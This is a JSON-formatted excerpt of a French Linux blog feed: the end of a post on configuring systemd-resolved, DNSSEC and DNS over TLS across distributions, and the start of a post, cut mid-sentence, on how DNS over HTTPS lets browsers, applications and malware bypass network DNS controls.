Mais si vous achetez RHEL pour le support, faire tourner la résolution de noms sur un composant non supporté est une décision à prendre délibérément et à écrire quelque part, pas une chose dans laquelle dériver parce que c\u0026rsquo;était dans le dépôt.\nRien n\u0026rsquo;est réellement mutilé, et voici comment le prouver La prémisse mérite d\u0026rsquo;être testée, parce que « ma distribution l\u0026rsquo;a désactivé, je vais devoir recompiler » est le réflexe et qu\u0026rsquo;ici il est faux.\nsystemd a deux sortes d\u0026rsquo;options de compilation entièrement différentes, et on en parle comme si c\u0026rsquo;était la même :17\nOption de compilation Sorte Amont Fedora Debian et Ubuntu Modifiable à l\u0026rsquo;exécution resolve capacité activée compilée true non, et les deux la compilent nss-resolve capacité activée compilée, livrée dans systemd-libs enabled, livrée comme libnss-resolve non, et les deux la compilent dns-over-tls capacité auto auto, résolu vers OpenSSL openssl non, et les deux la compilent openssl capacité activée enabled enabled non, et les deux l\u0026rsquo;activent default-dnssec défaut seulement allow-downgrade no no oui, dans un drop-in default-dns-over-tls défaut seulement no no défaut amont oui, dans un drop-in default-mdns défaut seulement yes no no oui, dans un drop-in default-llmnr défaut seulement yes resolve no oui, dans un drop-in Lisez la dernière colonne. Chaque réglage dont ce billet s\u0026rsquo;est plaint se trouve dans la moitié basse, et chacun est un défaut, pas une capacité. Le code est compilé dans les deux. Personne n\u0026rsquo;a rien retiré.\nLa preuve est plus haut dans ce billet et n\u0026rsquo;a demandé aucun compilateur. Sur le paquet Fedora d\u0026rsquo;origine, avec DNSSEC=no gravé dedans, une seule commande a activé la validation et elle a marché complètement : une zone signée authentifiée, une non signée rapportée honnêtement, une cassée refusée avec un diagnostic précis. Si ça avait été retiré à la compilation, resolvectl status n\u0026rsquo;aurait jamais dit yes/supported.\nAlors vérifiez votre propre construction avant d\u0026rsquo;aller chercher une chaîne de compilation :\n# is the crypto there at all systemctl --version | tr \u0026#39; \u0026#39; \u0026#39;\\n\u0026#39; | grep -E \u0026#39;^[+-](OPENSSL|GNUTLS|GCRYPT)$\u0026#39; # ask for the feature and read back what the daemon says it can do resolvectl dnssec \u0026lt;link\u0026gt; yes resolvectl status \u0026lt;link\u0026gt; | grep DNSSEC # yes/supported means the code is there Sur cette machine Fedora, c\u0026rsquo;est -GCRYPT +GNUTLS +OPENSSL, ce qui suffit largement : DNSSEC a besoin de l\u0026rsquo;un d\u0026rsquo;eux et le DoT est compilé contre OpenSSL.\nCe que les distributions retirent vraiment Il y a une chose que toutes les deux enlèvent, et elle n\u0026rsquo;est pas dans la liste dont on se plaint.\nL\u0026rsquo;amont compile dans le binaire une liste de serveurs DNS de secours : Cloudflare, Google et Quad9.17 Fedora et Debian construisent toutes les deux avec -Ddns-servers= réglé à rien, et vous pouvez le confirmer sur le binaire livré plutôt que de me croire sur parole :\n$ strings /usr/lib/systemd/systemd-resolved | grep -ciE \u0026#39;quad9|one\\.one\\.one|dns\\.google\u0026#39; 0 Rien. Aucun hyperscaler gravé dans l\u0026rsquo;exécutable.\nC\u0026rsquo;est le seul endroit où les deux distributions ont amélioré l\u0026rsquo;amont, et ça mérite d\u0026rsquo;être dit clairement vu la place que ce billet a donnée à des défauts que je crois mauvais. Une machine qui perd sa configuration DNS devrait échouer bruyamment et vous attendre. Elle ne devrait pas router discrètement chaque nom que vous cherchez vers un résolveur dans une autre juridiction que vous n\u0026rsquo;avez jamais choisi. Vous voulez un secours ? Mettez FallbackDNS= et choisissez qui c\u0026rsquo;est.\nSi vous avez véritablement besoin de recompiler Un cas réel existe : une construction minimale ou embarquée où quelqu\u0026rsquo;un a passé -Ddns-over-tls=false et où le transport est véritablement absent. Vérifiez d\u0026rsquo;abord avec les commandes ci-dessus, parce que c\u0026rsquo;est rare et que ça ressemble exactement au réglage simplement coupé.\nSi vous en avez besoin, recompilez le paquet, jamais make install :\n# Fedora dnf download --source systemd rpmbuild --rebuild --define \u0026#39;_with_upstream 1\u0026#39; systemd-*.src.rpm # Debian and Ubuntu apt source systemd cd systemd-*/ \u0026amp;\u0026amp; editor debian/rules # change the -Ddefault-* flags dpkg-buildpackage -us -uc -b Je n\u0026rsquo;ai lancé ni l\u0026rsquo;un ni l\u0026rsquo;autre sur cette machine, alors traitez-les comme la forme du travail, pas comme une recette testée. C\u0026rsquo;est le principe qui compte. systemd est le PID 1, et un make install compilé à la main par-dessus la copie de votre distribution le sort du gestionnaire de paquets : plus de mises à jour de sécurité, et la prochaine montée de version se bat avec vous pour les fichiers. Construire le paquet garde les deux. Pour presque tout le monde, la réponse honnête est qu\u0026rsquo;un drop-in de quatre lignes fait le même travail en vingt secondes, et c\u0026rsquo;est pourquoi cette section existe surtout pour vous en dissuader.\nTrois configurations qui valent le coup Pas un menu de toutes les options. Trois positions, dont chacune je défendrais réellement.\nPortable, réseaux hostiles Serveur, votre propre réseau Strict Ce contre quoi vous vous défendez Le café et le portail de l\u0026rsquo;hôtel Rien de local ; l\u0026rsquo;amont valide déjà Un chemin de résolution auquel vous ne faites pas confiance DNSSEC= allow-downgrade no yes DNSOverTLS= opportunistic no yes StaleRetentionSec= 1d 1d non défini Survit à un portail captif Oui sans objet Non Survit à un .arpa filtré Oui Oui Non Survit au port 853 bloqué Oui sans objet Non Un attaquant peut le déclasser Oui, les deux réglages sans objet Non Un portable sur des réseaux que vous ne contrôlez pas. Chiffrez le transport, et prenez le risque de déclassement en échange du fait que ça continue de marcher derrière un portail captif.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=opportunistic DNSSEC=allow-downgrade Cache=yes StaleRetentionSec=1d Un serveur sur un réseau que vous administrez, avec un amont validant. Ça s\u0026rsquo;est déjà passé un saut plus loin. Ne le faites pas deux fois, et ne prenez pas de dépendance sur un résolveur public.\n[Resolve] DNSSEC=no DNSOverTLS=no Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Une machine où vous voulez la vraie chose. Strict des deux côtés, rien qu\u0026rsquo;un attaquant puisse déclasser, et vous avez vérifié que l\u0026rsquo;amont sait le porter.\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes DNSSEC=yes Cache=yes Cette troisième cassera le DNS inverse si quoi que ce soit sur votre chemin filtre .arpa, elle cassera entièrement si le port 853 est bloqué, et elle échoue fermé plutôt que discrètement. Ce sont les conditions. Connaissez-les avant de la déployer, pas après, parce qu\u0026rsquo;une machine qui ne peut rien résoudre représente un long trajet si elle n\u0026rsquo;est pas dans la pièce d\u0026rsquo;à côté.\nQuelle que soit celle que vous choisissez, appliquez-la puis vérifiez ce que le démon a réellement décidé plutôt que ce que vous avez écrit :\nsystemd-analyze cat-config systemd/resolved.conf # every file, in order systemctl restart systemd-resolved resolvectl status # the state it is really in resolvectl status est l\u0026rsquo;oracle ici, de la même façon que la construction est l\u0026rsquo;oracle pour un site Hugo. Un réglage dans un fichier est une intention. Ce que status affiche est ce qui se passe.\nLe reste des verbes vaut d\u0026rsquo;être connu, parce qu\u0026rsquo;à eux tous ils répondent à presque toutes les questions que vous vous poserez sur ce démon sans lire un journal :\nCommande Ce qu\u0026rsquo;elle vous dit resolvectl status Les serveurs par lien, les domaines, les protocoles, et l\u0026rsquo;état vivant de DNSSEC et du DoT resolvectl query NOM La réponse, le protocole utilisé, le verdict DNSSEC, et si ça venait du cache resolvectl statistics Les succès de cache contre les échecs, et le décompte courant sécurisé/non sécurisé/falsifié resolvectl show-cache Tout ce qui est actuellement en cache, par portée resolvectl flush-caches Vider le cache sans redémarrer le démon resolvectl dns LIEN ... Poser les serveurs sur un lien à l\u0026rsquo;exécution, sans fichier de configuration resolvectl dnssec LIEN yes Activer la validation sur un lien, pour tester avant de s\u0026rsquo;engager resolvectl domain LIEN ~x Poser les domaines de routage et de recherche sur un lien resolvectl revert LIEN Jeter tout changement fait à l\u0026rsquo;exécution sur ce lien resolvectl show-server-state Le sondage des fonctionnalités par serveur : ce que chaque amont s\u0026rsquo;est révélé supporter resolvectl monitor Regarder les requêtes et les réponses en direct, ce qui vaut mieux que deviner Tout ce qui est dans le bloc du milieu ne vaut qu\u0026rsquo;à l\u0026rsquo;exécution et ne survit pas au retour d\u0026rsquo;un lien, ce qui en fait la bonne façon d\u0026rsquo;essayer un réglage avant de l\u0026rsquo;écrire dans un drop-in. Ça veut dire aussi que nmcli device reapply défera discrètement vos tests, alors vérifiez status après, pas avant.\nLes défauts sont une position, pas un accident Trois fonctionnalités dans la boîte. Une seule activée.\nTentant de lire ça comme de la paresse. Ça ne l\u0026rsquo;est pas. Chacun de ces défauts a été discuté par des gens qui voyaient la file de bugs de l\u0026rsquo;autre côté de la décision, et Fedora au moins a écrit honnêtement qu\u0026rsquo;elle ne pouvait pas faire face à la charge de support. C\u0026rsquo;est une vraie contrainte et je ne prétendrai pas le contraire.\nMais un défaut est une position, et celui-ci dit qu\u0026rsquo;une recherche que personne ne peut vérifier est une chose acceptable sur laquelle bâtir. Nous avons la norme depuis 2005. Les registres publient les enregistrements gratuitement, le résolveur sur votre machine implémente le tout, et la raison pour laquelle il reste inactif est que trop d\u0026rsquo;internet n\u0026rsquo;a jamais rien signé, si bien que l\u0026rsquo;activer fait de votre machine celle qui a l\u0026rsquo;air cassée. C\u0026rsquo;est la forme de toute norme que personne n\u0026rsquo;impose. Le faire correctement est un coût que vous portez tout seul, et le bénéfice n\u0026rsquo;arrive que quand assez d\u0026rsquo;autres l\u0026rsquo;ont porté aussi.\nC\u0026rsquo;est pourquoi le recensement est la partie de tout ça sur laquelle j\u0026rsquo;irais réellement agir. Pas les réglages. Les réglages, c\u0026rsquo;est vingt minutes. Le recensement dit que les organisations qui publient les recommandations, livrent le résolveur et hébergent le code source du monde n\u0026rsquo;ont pour la plupart pas signé leurs propres zones, et que gov.uk a signé l\u0026rsquo;apex puis pointé le seul site web que personne ne peut éviter d\u0026rsquo;utiliser vers une délégation non signée. Quelqu\u0026rsquo;un a fait la partie difficile puis n\u0026rsquo;a jamais vérifié le nom que les gens tapent.\nVous ne pouvez arranger que la vôtre. Si vous tenez une zone, signez-la, déposez le DS, puis allez chercher le nom en www comme le ferait un visiteur et confirmez que la chaîne survit jusqu\u0026rsquo;au bout. C\u0026rsquo;est un après-midi. Faites ça et l\u0026rsquo;argument en faveur de la validation cesse d\u0026rsquo;être théorique pour tous ceux qui résolvent votre nom, ce qui est la seule partie de tout ça qu\u0026rsquo;aucun de nous ne peut réellement réparer autrement.\nsystemd-resolved.service(8) — « implements a caching and validating DNS/DNSSEC stub resolver » ; les quatre interfaces client, les deux stubs, les enregistrements synthétiques, les règles de routage et les quatre modes de /etc/resolv.conf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), tel que livré dans systemd 259.9 sur Fedora 44 — DNSSEC=, DNSOverTLS=, Cache=, CacheFromLocalhost=, StaleRetentionSec= et la description du stub proxy 127.0.0.54.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5) — DNSCacheSize=, MulticastDNSCacheSize= et LLMNRCacheSize=, « Each defaults to 4096 », ajoutés dans systemd 261.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5737 — « IPv4 Address Blocks Reserved for Documentation » : 192.0.2.0/24, 198.51.100.0/24 et 203.0.113.0/24.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3849 — 2001:DB8::/32 réservé à la documentation, « to reduce the likelihood of conflict and confusion when relating documented examples to deployed systems ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), version amont la plus récente — DNSSEC= « Defaults to allow-downgrade », DNSOverTLS= « Defaults to no », la convention de numérotation des drop-ins, et la liste complète des directives, sans aucune option DNS over HTTPS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora systemd.spec, rawhide — les options de compilation meson -Ddefault-dnssec=no, -Ddefault-dns-over-tls=no, -Ddefault-mdns=no, -Ddefault-llmnr=resolve.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/rules — -Ddefault-dnssec=no, -Ddefault-llmnr=no, -Ddefault-mdns=no, -Ddns-over-tls=openssl. Le systemd d\u0026rsquo;Ubuntu dérive de cet empaquetage.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Change : systemd-resolved — Fedora 33 en a fait le résolveur par défaut ; change le défaut « from the upstream default DNSSEC=allow-downgrade to DNSSEC=no » parce que la fonctionnalité « is known to cause compatibility problems with certain network access points » et que Fedora « is not prepared to handle an influx of DNSSEC-related bug reports ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Magazine — Use DNS over TLS — la configuration DNSOverTLS=yes recommandée, donnée avec des adresses IP nues et sans la forme SNI #hostname.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd issue #8639 — « Add support for DNS-over-HTTPS to systemd-resolved », ouvert le 2 avril 2018, toujours ouvert.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian 12 release notes, 5.2.3 — « The new systemd-resolved package will not be installed automatically on upgrades » ; « until it has been installed, DNS resolution might no longer work » ; « systemd-resolved was not, and still is not, the default DNS resolver in Debian. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/control — la strophe systemd-resolved : Provides: resolvconf, Conflicts: resolvconf, openresolv, Replaces: resolvconf, et libnss-resolve listé seulement sous Suggests:.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolvconf(1), le mode de compatibilité de resolvectl — resolvectl « is a multi-call binary. When invoked as \u0026lsquo;resolvconf\u0026rsquo; \u0026hellip; it is run in a limited resolvconf(8) compatibility mode » ; systemd-resolved « is the only supported backend » ; quelles options sont supportées, ignorées ou rejetées ; et la règle selon laquelle /etc/resolv.conf n\u0026rsquo;est écrit que lorsqu\u0026rsquo;il est un lien vers /run/systemd/resolve/resolv.conf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian isc-dhcp-client file list — livre /etc/dhcp/dhclient-enter-hooks.d/resolved-enter et /etc/dhcp/dhclient-exit-hooks.d/resolved.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRHEL 9.4 release notes, Technology Previews — « Note that systemd-resolved is an unsupported Technology Preview. » Repris sans changement de RHEL 9.0 jusqu\u0026rsquo;à 9.8.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — la séparation entre les options de capacité (resolve, nss-resolve, dns-over-tls, openssl) et les options de valeur par défaut (default-dnssec, default-dns-over-tls, default-mdns, default-llmnr), et la liste de secours dns-servers compilée dans le binaire.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/dns/resolved-the-resolver-you-are-already-running/","summary":"systemd-resolved tourne en ce moment même sur la plupart des bureaux Linux, met chaque recherche en cache et n\u0026rsquo;en valide aucune. Ce billet suit le chemin de résolution depuis nss-resolve jusqu\u0026rsquo;aux deux stubs, mesure ce que vaut le cache sur une vraie machine, active DNSSEC et montre les trois verdicts qu\u0026rsquo;il peut rendre, puis explique pourquoi la validation est coupée par défaut alors que l\u0026rsquo;amont la livre activée. Ensuite un recensement du peu de web réellement signé, DNS over TLS et son piège du mode strict contre l\u0026rsquo;opportuniste, et le support de DNS over HTTPS demandé depuis 2018 et toujours inexistant. Pour finir : ce que livrent Fedora, Ubuntu, Debian et la famille RHEL, comment le câbler dans chacune, et pourquoi les fonctionnalités que votre distribution a désactivées sont des défauts et non du code manquant.","title":"Resolved : le résolveur que vous faites déjà tourner"},{"content":"Il existe un moyen, pour n\u0026rsquo;importe quoi sur votre réseau, de résoudre un nom sans que votre serveur DNS entende jamais la question. Aucun réglage modifié sur la machine, aucun droit d\u0026rsquo;administrateur, rien que vous trouveriez dans un journal. La requête part comme une requête HTTPS ordinaire sur le port 443, va vers un résolveur quelque part sur internet, et revient avec une réponse que votre propre résolveur aurait refusé de donner.\nLa liste de blocage ne se déclenche jamais. Le flux de menaces ne reçoit jamais la requête. La ligne de journal que vous seriez allé chercher n\u0026rsquo;a jamais été écrite.\nCela s\u0026rsquo;appelle DNS over HTTPS, DoH en abrégé, et cela a été conçu pour une bonne raison. Le DNS en clair circule en texte lisible sur le port 53 : le café, l\u0026rsquo;aéroport et votre fournisseur d\u0026rsquo;accès peuvent lire chaque nom que vous résolvez et changer les réponses si l\u0026rsquo;envie leur en prend. DoH enveloppe la requête dans le même chiffrement que le reste du web et la cache dans la foule. Comme mesure de confidentialité pour une personne sur un réseau hostile, il fait exactement ce qu\u0026rsquo;il annonce.\nLe problème, c\u0026rsquo;est que ce qu\u0026rsquo;il neutralise et ce sur quoi vous comptez sont une seule et même chose.\nVotre résolveur n\u0026rsquo;est pas qu\u0026rsquo;un service de résolution. C\u0026rsquo;est un point de contrôle : là où un domaine reconnu malveillant reçoit une réponse vide, là où une requête vers un serveur de commande apparaît dans un journal, là où le DNS de protection refuse le domaine de maliciel avant que la connexion ne soit établie. DoH retire la requête à votre résolveur et la confie à un résolveur que vous n\u0026rsquo;avez jamais choisi, et tous les contrôles que vous aviez accrochés à ce résolveur partent avec elle.\nLe DNS ordinaire passe par votre résolveur. DoH le contourne. Même portable, même question. Une réponse passe par vos contrôles, l'autre ne les rencontre jamais. DNS ordinaire, port 53 DNS over HTTPS, port 443 Portable demande un nom Votre résolveur liste de blocage et flux de menaces vérifiés requête journalisée pour le client mauvais nom, réponse NXDOMAIN Internet seulement s'il passe Portable demande un nom Votre résolveur jamais interrogé rien à bloquer rien à journaliser HTTPS vers un résolveur de son choix Le résolveur d'un autre répond n'importe quoi Le pare-feu voit une connexion web chiffrée de plus. Il en a des milliers par minute, et sur le fil celle-ci ressemble aux autres. Le même portable qui pose la même question. À gauche, elle passe par votre résolveur, qui vérifie le nom, le journalise et n\u0026rsquo;interroge internet qu\u0026rsquo;ensuite. À droite, elle sort directement en HTTPS vers un résolveur choisi par le client. Votre résolveur ne l\u0026rsquo;entend jamais : il n\u0026rsquo;y a donc rien à bloquer et rien à journaliser, et à la frontière ce n\u0026rsquo;est qu\u0026rsquo;une connexion web chiffrée de plus parmi des milliers. Ceci n\u0026rsquo;est pas un plaidoyer contre le chiffrement du DNS. Le DNS chiffré est une bonne chose, et la dernière section de cet article explique comment le faire tourner. C\u0026rsquo;est un plaidoyer sur qui choisit le résolveur, car ce choix est tout l\u0026rsquo;enjeu, et DoH a été conçu pour vous le retirer et le donner au navigateur, à l\u0026rsquo;application et, si vous n\u0026rsquo;y prenez pas garde, à l\u0026rsquo;attaquant.\nCe qu\u0026rsquo;est vraiment DoH Ôtez l\u0026rsquo;emballage marketing et DoH est une requête web ordinaire qui se trouve porter une question DNS.\nLe DNS ordinaire est un petit message binaire envoyé en UDP ou TCP vers le port 53. DoH place ce même message, ou une version JSON de celui-ci, dans une requête HTTPS vers un serveur web qui parle le protocole ; la réponse est une réponse HTTPS1. C\u0026rsquo;est toute l\u0026rsquo;idée.\nRFC 8484 l\u0026rsquo;a normalisé en octobre 2018, et l\u0026rsquo;intention n\u0026rsquo;a jamais été cachée. Le but, dit sa propre introduction, est « allowing web applications to access DNS information via existing browser APIs »1.\nDes API de navigateur existantes. Une page web. Personne n\u0026rsquo;a découvert cela comme un effet secondaire gênant des années plus tard. C\u0026rsquo;est écrit dans le premier paragraphe du standard, posé comme l\u0026rsquo;objectif.\nVoici une résolution faite à la manière DoH, depuis une ligne de commande, contre un résolveur public, demandant example.com :\n$ curl -s -H \u0026#39;accept: application/dns-json\u0026#39; \\ \u0026#39;https://cloudflare-dns.com/dns-query?name=example.com\u0026amp;type=A\u0026#39; {\u0026#34;Status\u0026#34;:0,\u0026#34;TC\u0026#34;:false,\u0026#34;RD\u0026#34;:true,\u0026#34;RA\u0026#34;:true,\u0026#34;AD\u0026#34;:true,\u0026#34;CD\u0026#34;:false, \u0026#34;Question\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1}], \u0026#34;Answer\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1,\u0026#34;TTL\u0026#34;:146, \u0026#34;data\u0026#34;:\u0026#34;23.192.228.80\u0026#34;}]} Aucun client spécial. Aucun port sauf 443. Une seule requête HTTPS, de la même forme que le chargement d\u0026rsquo;une page web, et un nom résolu par une machine à l\u0026rsquo;autre bout du monde qui n\u0026rsquo;a jamais entendu parler de votre réseau ni de vos règles. Google fait tourner le même point d\u0026rsquo;accès, Quad9 aussi, et des dizaines d\u0026rsquo;autres.\nRegardez maintenant ce que voit votre pare-feu. Une connexion TLS vers un serveur web sur 443, qu\u0026rsquo;il ne peut pas lire à l\u0026rsquo;intérieur parce que c\u0026rsquo;est justement l\u0026rsquo;objet de TLS, et qu\u0026rsquo;il ne peut pas distinguer des centaines d\u0026rsquo;autres qui s\u0026rsquo;ouvrent à chaque seconde vers des réseaux de diffusion de contenu, de l\u0026rsquo;analytique et des publicités. La question DNS a disparu. Elle a quitté les lieux déguisée en trafic web et personne à la porte n\u0026rsquo;a pu voir son visage.\nSur le fil, une requête DoH est une question DNS scellée dans une requête web. Même question. L'une est écrite sur l'enveloppe, l'autre scellée trois couches plus loin. DNS en clair, port 53 DoH, port 443 Requête DNS name=badsite.example type=A Le pare-feu lit ceci en entier. Il voit le nom, le vérifie, le bloque ou le journalise. Enregistrement TLS (tout ce que voit le pare-feu) Requête HTTP vers un serveur web Requête DNS (scellée) name=badsite.example type=A Sur le port 443, le pare-feu ne voit que la couche extérieure. Une connexion TLS vers un serveur web, comme un chargement de page, une publicité ou une balise analytique. Le nom ne remonte jamais. Une requête DNS ordinaire est écrite sur l\u0026rsquo;enveloppe : le pare-feu lit le nom et agit dessus. Une requête DoH est la même question scellée dans une requête HTTP à l\u0026rsquo;intérieur d\u0026rsquo;un enregistrement TLS, et tout ce que le pare-feu voit, c\u0026rsquo;est la couche extérieure, une connexion vers un serveur web sur 443 qui ressemble à toutes les autres. Le nom ne remonte jamais là où un contrôle pourrait l\u0026rsquo;atteindre. Il y a trois façons pour un client de déplacer une résolution DNS, et il vaut la peine de les mettre côte à côte, car la différence est tout le sujet de cet article.\nTransport Port Votre résolveur la voit Refusable à la frontière Chiffré DNS ordinaire 53 (UDP/TCP) Oui, si vous l\u0026rsquo;y forcez Oui, fermez 53 en sortie Non DNS over TLS (DoT) 853 Seulement s\u0026rsquo;il pointe vers le vôtre Oui, fermez 853 en sortie Oui DNS over HTTPS (DoH) 443 Seulement s\u0026rsquo;il pointe vers le vôtre Non, vous ne pouvez pas fermer 443 Oui Le DNS ordinaire est lisible et blocable, et c\u0026rsquo;est précisément pour cela qu\u0026rsquo;il était facile à contrôler et facile à espionner. DoT chiffre la requête mais garde son propre port : vous pouvez donc encore le refuser à la frontière. DoH est celui sans aucune prise : chiffré comme DoT, mais partageant le seul port que vous ne pourrez jamais fermer, de sorte que le seul levier qui reste est quel résolveur le client a choisi, et c\u0026rsquo;est ce levier qui fait l\u0026rsquo;objet de cet article.\nQui choisit le résolveur Ce qui rend cela important, c\u0026rsquo;est qu\u0026rsquo;une machine moderne porte cinq choses différentes qui peuvent chacune décider où va le DNS, et vous n\u0026rsquo;en contrôlez qu\u0026rsquo;une seule par défaut.\nCinq choses sur une machine peuvent choisir un résolveur. Vous en réglez une. Qui décide où va la requête Couche Qui choisit le résolveur Le vôtre par défaut ? Système d'exploitation Votre réseau, par DHCP ou annonces de routeur Oui Navigateur Le défaut de l'éditeur, sauf si votre politique l'emporte Seulement si vous fixez la politique Application ou sa bibliothèque Qui a écrit le code, à la compilation Non Script sur une page web Qui gère le site, ou tout script qu'il charge Non Maliciel L'opérateur, codé en dur, souvent par adresse et non par nom Non Aucun des trois du bas n'exige de droits d'administrateur, de réglage modifié, ni rien que vous verriez dans le système. Cinq couches sur une seule machine, chacune capable de choisir son propre résolveur. Le système d\u0026rsquo;exploitation utilise celui que votre réseau distribue, et celui-là est le vôtre. Le navigateur utilise celui par défaut de son éditeur, sauf si votre politique en décide autrement. Une application, un script sur une page web et un maliciel choisissent chacun pour eux-mêmes et n\u0026rsquo;ont besoin de rien de votre part pour le faire. Le système d\u0026rsquo;exploitation demande le résolveur que votre réseau a distribué par DHCP ou par annonces de routeur. Celui-là est le vôtre, et c\u0026rsquo;est le modèle que tout ce qui est plus ancien qu\u0026rsquo;environ 2019 supposait : un résolveur, distribué par le réseau, ce qui explique pourquoi les contrôles DNS au niveau réseau ont fonctionné pendant trente ans.\nLe navigateur a rompu cela. Firefox et Chrome embarquent tous deux la mécanique pour faire leur propre DoH, vers un résolveur choisi par leur éditeur, par-dessus votre tête, ne se retirant que lorsqu\u0026rsquo;ils repèrent un réseau administré. Et une application peut porter son propre client DoH et un résolveur codé en dur dans son code, décidé à la compilation ; elle ne lit pas votre DHCP et ne demande rien. Beaucoup de logiciels légitimes le font déjà.\nUn script sur une page web est celui qui devrait vous arrêter, car il n\u0026rsquo;a besoin de rien d\u0026rsquo;installé du tout. Cette commande curl ci-dessus est une seule requête HTTPS, et un navigateur passe sa vie à faire des requêtes HTTPS. Quelques lignes de JavaScript sur n\u0026rsquo;importe quelle page qu\u0026rsquo;un utilisateur ouvre peuvent envoyer des résolutions vers un point d\u0026rsquo;accès DoH public, parce que les grands fournisseurs autorisent délibérément les requêtes cross-origin pour que les applications web puissent les utiliser, le but affiché dans RFC 8484. La page que vous lisez pourrait résoudre des noms via un résolveur dans un autre pays à l\u0026rsquo;instant même, et vous ne verriez qu\u0026rsquo;une connexion HTTPS de plus.\nEt le maliciel choisit son propre résolveur pour la raison évidente : il ne veut pas que vous voyiez qui il appelle. Il porte le résolveur dans son code, l\u0026rsquo;atteignant souvent par adresse pour qu\u0026rsquo;il n\u0026rsquo;y ait aucune résolution d\u0026rsquo;amorçage à capter, et n\u0026rsquo;a besoin de votre autorisation pour rien de tout cela.\nRelisez cette colonne. Les trois du bas n\u0026rsquo;exigent aucun droit d\u0026rsquo;administrateur, aucun réglage modifié, et rien qui apparaisse dans le système d\u0026rsquo;exploitation. Le contrôle que vous avez mis des années à bâtir, un résolveur, une liste de blocage, un journal, supposait que la ligne du haut était la seule ligne. Elle ne l\u0026rsquo;est plus depuis des années.\nLe tour même que les éditeurs de navigateurs redoutaient Le cas de la page web n\u0026rsquo;est ni théorique ni récent. C\u0026rsquo;est ainsi que les assistants de protocole sont détournés : une page web émet des octets, quelque chose en aval agit dessus, et ne peut pas dire qu\u0026rsquo;ils venaient de la page d\u0026rsquo;un attaquant plutôt que d\u0026rsquo;un vrai client, parce que sur le fil ils sont identiques. Avec DoH, la pièce en aval est un résolveur public, qui répond sans aucun moyen de savoir que le JavaScript qui demande venait d\u0026rsquo;une page d\u0026rsquo;hameçonnage, et votre résolveur, celui avec la liste de blocage et le journal, n\u0026rsquo;a jamais été sur le chemin pour avoir un avis. Pas un trou percé à travers vos contrôles, mais une route bâtie autour d\u0026rsquo;eux, pavée du même chiffrement que vous recommandez à tout le monde d\u0026rsquo;utiliser.\nC\u0026rsquo;est déjà le canal de l\u0026rsquo;auteur de maliciels Vous n\u0026rsquo;avez pas à imaginer comment cela sert. C\u0026rsquo;est documenté depuis des années, par des chercheurs nommés, sur de vrais échantillons, et la trajectoire ne va que dans un sens : du robot criminel en 2019 à l\u0026rsquo;outil de renseignement d\u0026rsquo;État l\u0026rsquo;année suivante, et plus chargée chaque année depuis, avec de nouvelles portes dérobées qui débarquent encore en 2026.\nÉchantillon Signalé Acteur Ce que DoH transportait Godlua 1er juillet 20192 Botnet criminel La résolution du nom de son serveur de commande PsiXBot 6 septembre 20193 Criminel (voleur d\u0026rsquo;informations) Résolution du domaine de commande, via le DoH de Google OilRig (APT34) T2 20204 Aligné sur l\u0026rsquo;État iranien Données volées, exfiltrées par DoH vers Google et Cloudflare ChamelDoH 16 juin 20235 ChamelGang (APT) Tout son canal de commande, DNS TXT par DoH vers Google et Cloudflare BRICKSTORM 4 décembre 20256 Porte dérobée liée à la Chine C2 enfoui sous HTTPS et TLS imbriqué, DoH parmi les couches Dohdoor 26 février 20267 Non déterminé (UAT-10027) Résolutions C2 envoyées au DoH de Cloudflare sur 443 Godlua, le premier cas largement signalé, était une porte dérobée pour Linux et Windows dont l\u0026rsquo;analyse note qu\u0026rsquo;il « uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2 »2. Sur un réseau qui surveille le port 53, résoudre votre serveur de commande est un cadeau pour le défenseur. Par DoH, il n\u0026rsquo;y a rien à observer.\nLa phrase de Proofpoint sur PsiXBot est celle qui mérite d\u0026rsquo;être citée, un éditeur de renseignement sur les menaces qui dit tout haut ce qui se murmure. Utiliser DoH pour la commande et le contrôle, écrivaient-ils, « should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions »3. Aucune solution simple, de la part 